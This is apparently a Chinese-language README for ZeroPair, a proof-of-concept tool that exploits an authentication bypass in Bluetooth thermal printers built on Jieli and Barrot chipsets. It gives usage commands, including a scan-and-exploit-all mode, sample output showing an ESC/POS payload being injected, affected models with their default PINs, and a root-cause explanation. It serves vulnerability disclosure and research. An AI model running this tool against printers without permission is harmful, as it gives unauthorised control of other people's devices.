零认证蓝牙漏洞利用
"窃取打印,掌控系统"
███████╗███████╗██████╗ ██████╗
╚══███╔╝██╔════╝██╔══██╗██╔═══██╗
███╔╝ █████╗ ██████╔╝██║ ██║
███╔╝ ██╔══╝ ██╔══██╗██║ ██║
███████╗███████╗██║ ██║╚██████╔╝
╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝
██████╗ █████╗ ██╗██████╗
██╔══██╗██╔══██╗██║██╔══██╗
██████╔╝███████║██║██████╔╝
██╔═══╝ ██╔══██║██║██╔══██╗
██║ ██║ ██║██║██║ ██║
╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝
作者: [CBKB] DeadlyData | 2026
ZeroPair 是一个概念验证工具,演示了使用 Jieli 和 Barrot 芯片组的蓝牙热敏打印机中存在的零认证漏洞。受影响的设备无需配对或用户交互即可接受未认证的 RFCOMM 连接,从而允许蓝牙范围内的攻击者访问打印机命令接口。
CVE: 已提交至 MITRE(待分配)
| ZeroPair 概念验证 |
使用 Jieli 和 Barrot 蓝牙芯片组的蓝牙热敏打印机在其 RFCOMM(SPP)服务中存在认证绕过漏洞。由于固件中实现的访问控制不当,受影响的设备无需配对或用户交互即可接受未认证的 RFCOMM 连接。该漏洞存在于隐藏的固件信任状态中,无法通过标准蓝牙管理工具进行检查或移除。
| 分类 | 严重性 |
|---|---|
| 零认证 | 严重 |
| 持久配对信任 | 高 |
| 隐藏配对状态 | 高 |
| 未知认证绕过 | 高 |
使用这些芯片组的其他蓝牙热敏打印机也可能受到影响。
bluez - 蓝牙协议栈(hcitool、bluetoothctl、rfcomm、sdptool)在 Debian/Ubuntu 上安装:
sudo apt install bluez
coloramapip install colorama
ZeroPair 需要 root 权限才能执行 RFCOMM 操作。
在利用前执行完整的 4 步漏洞验证:
sudo python3 ZeroPair.py <MAC_ADDRESS>
sudo python3 ZeroPair.py 66:32:9E:2E:FD:94
跳过验证并直接尝试利用:
sudo python3 ZeroPair.py <MAC_ADDRESS> --skip
扫描所有蓝牙设备,识别打印机,验证并利用:
sudo python3 ZeroPair.py --scan
最快模式——无需验证即可扫描并利用:
sudo python3 ZeroPair.py --scan --skip
bluetoothctl 检查用户空间配对可见性/var/lib/bluetooth/)受影响的打印机在固件层面实现了宽松的 RFCOMM 接受策略。蓝牙控制器不会对传入的 SPP 连接强制执行身份验证或加密。由于信任状态由固件管理,而非主机蓝牙协议栈(BlueZ)管理,因此标准工具(如 bluetoothctl)无法检测、检查或撤销该隐式信任。设备会在无需用户交互的情况下静默接受来自任何蓝牙主机的连接。
[*] single target mode (validation enabled)
[*] ==========================================================
[*] target: 66:32:9E:2E:FD:94 (X6h-A725)
[*] model: X6h-A725
[*] ==========================================================
[*] starting vulnerability validation...
[*] testing user-space pairing visibility [DONE]
[*] identifying local bluetooth adapter [DONE]
[*] checking filesystem pairing cache [DONE]
[*] testing RFCOMM unauthenticated access [DONE]
[!] VULNERABILITY CONFIRMED
Type: ZERO AUTHENTICATION
Severity: CRITICAL
[*] vulnerability details:
[+] RFCOMM accessible: YES
[+] BlueZ visible: NO
[+] BlueZ paired: NO
[+] Cache exists: NO
[+] target is exploitable - proceeding with attack
[*] discovering RFCOMM channels [channel 1]
[*] establishing RFCOMM connection [CONNECTED]
[*] injecting ESC/POS payload [SUCCESS]
[*] exploitation successful - check printer output!
[+] exploitation completed successfully
本工具仅用于经授权的安全测试和教育目的。未经授权访问计算机系统是违法的。作者不承担任何责任,也不对因使用本工具而造成的任何滥用或损害负责。请负责任地使用,并且仅在你拥有或获得明确许可进行测试的系统上使用。
MIT
| 型号 | 制造商 | 芯片组 | 默认 PIN | 命令集 |
|---|
| X6h-A725 | 珠海杰理 | Jieli | 1234 | ESC/POS |
| M58-L | 珠海杰理 | Jieli | 1234 | ESC/POS |
| D450 | Omezizy | Barrot | 0000 | TSPL |
| 参数 | 短参数 | 描述 |
|---|
target | 目标 MAC 地址(例如:66:32:9E:2E:FD:94) | |
--scan | -a | 自动扫描模式:查找并利用所有打印机 |
--skip | -s | 跳过漏洞验证(更快) |